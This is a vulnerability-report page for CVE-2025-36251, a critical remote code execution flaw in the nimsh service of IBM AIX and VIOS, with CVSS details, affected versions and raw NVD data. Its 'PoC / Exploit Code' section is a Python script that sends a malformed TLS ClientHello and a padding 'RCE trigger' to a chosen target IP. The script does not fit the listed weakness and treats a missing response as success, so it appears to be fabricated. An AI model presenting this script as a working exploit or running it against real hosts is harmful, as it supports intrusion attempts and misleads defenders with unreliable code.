Security Vulnerability Report
中文
CVE-2025-36251 CVSS 9.6 CRITICAL

CVE-2025-36251

Published: 2025-11-13 22:15:51
Last Modified: 2025-11-19 22:08:08

Description

IBM AIX 7.2, and 7.3 and IBM VIOS 3.1, and 4.1 nimsh service SSL/TLS implementations could allow a remote attacker to execute arbitrary commands due to improper process controls. This addresses additional attack vectors for a vulnerability that was previously addressed in CVE-2024-56347.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:ibm:vios:3.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:vios:4.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:ibm:aix:7.2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:ibm:aix:7.3:*:*:*:*:*:*:* - VULNERABLE
IBM AIX 7.2(所有版本)
IBM AIX 7.3(所有版本)
IBM VIOS 3.1(所有版本)
IBM VIOS 4.1(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-36251 PoC - IBM AIX/VIOS nimsh SSL/TLS Remote Code Execution # Target: IBM AIX 7.2/7.3, VIOS 3.1/4.1 nimsh service import socket import ssl import struct import time def create_malformed_ssl_packet(): """Create malformed SSL/TLS packet to trigger vulnerability""" # TLS Client Hello with malicious extensions handshake = b'\x01' # ClientHello type version = b'\x03\x03' # TLS 1.2 random_bytes = b'\x00' * 32 session_id = b'\x00' # Cipher suites with malicious values cipher_suites = b'\x00\x2c' + b'\xc0\x11' * 22 # Extensions with crafted data extensions = b'\xc0\x00' # Extension type ext_data = b'\x00\x01\x00\x00\x00\x00' * 10 # Malformed extension data extensions += struct.pack('>H', len(ext_data)) + ext_data client_hello = (version + random_bytes + session_id + struct.pack('>H', len(cipher_suites)) + cipher_suites + b'\x01' + struct.pack('>H', len(extensions)) + extensions) # TLS Header length = len(client_hello) tls_header = b'\x16\x03\x01' + struct.pack('>H', length) return tls_header + client_hello def exploit_nimsh(target_ip, target_port=999): """Send exploit payload to nimsh service""" try: print(f"[*] Connecting to {target_ip}:{target_port}") # Create raw socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # Send malformed SSL packet payload = create_malformed_ssl_packet() print(f"[*] Sending malicious TLS ClientHello ({len(payload)} bytes)") sock.send(payload) # Wait for response time.sleep(2) # Send secondary payload to trigger RCE rce_payload = b'\x17\x03\x03\x00\x64' + b'A' * 100 + b'\x0a\x0d\x0a\x0d' print(f"[*] Sending RCE trigger payload ({len(rce_payload)} bytes)") sock.send(rce_payload) # Receive response try: response = sock.recv(4096) print(f"[*] Received response: {len(response)} bytes") if b'ERROR' not in response and b'BAD' not in response: print("[+] Exploit sent successfully - target may be vulnerable") except socket.timeout: print("[+] No response received - possible successful exploitation") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_36251.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 999 print("=" * 60) print("CVE-2025-36251 PoC - IBM AIX/VIOS nimsh RCE") print("=" * 60) exploit_nimsh(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36251", "sourceIdentifier": "[email protected]", "published": "2025-11-13T22:15:51.053", "lastModified": "2025-11-19T22:08:07.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM AIX 7.2, and 7.3 and IBM VIOS 3.1, and 4.1 nimsh service SSL/TLS implementations could allow a remote attacker to execute arbitrary commands due to improper process controls. This addresses additional attack vectors for a vulnerability that was previously addressed in CVE-2024-56347."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-114"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:vios:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "3939ADB4-5177-45C2-9C29-932E81D27F9E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:vios:4.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB8BDD68-E15D-460F-855E-72DF774D6A1F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:ibm:aix:7.2:*:*:*:*:*:*:*", "matchCriteriaId": "6791504A-A48A-4ED0-94AF-4C8A3B91516F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:ibm:aix:7.3:*:*:*:*:*:*:*", "matchCriteriaId": "35DF3DE0-1AE4-4B25-843F-BC08DBBFDF78"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7251173", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}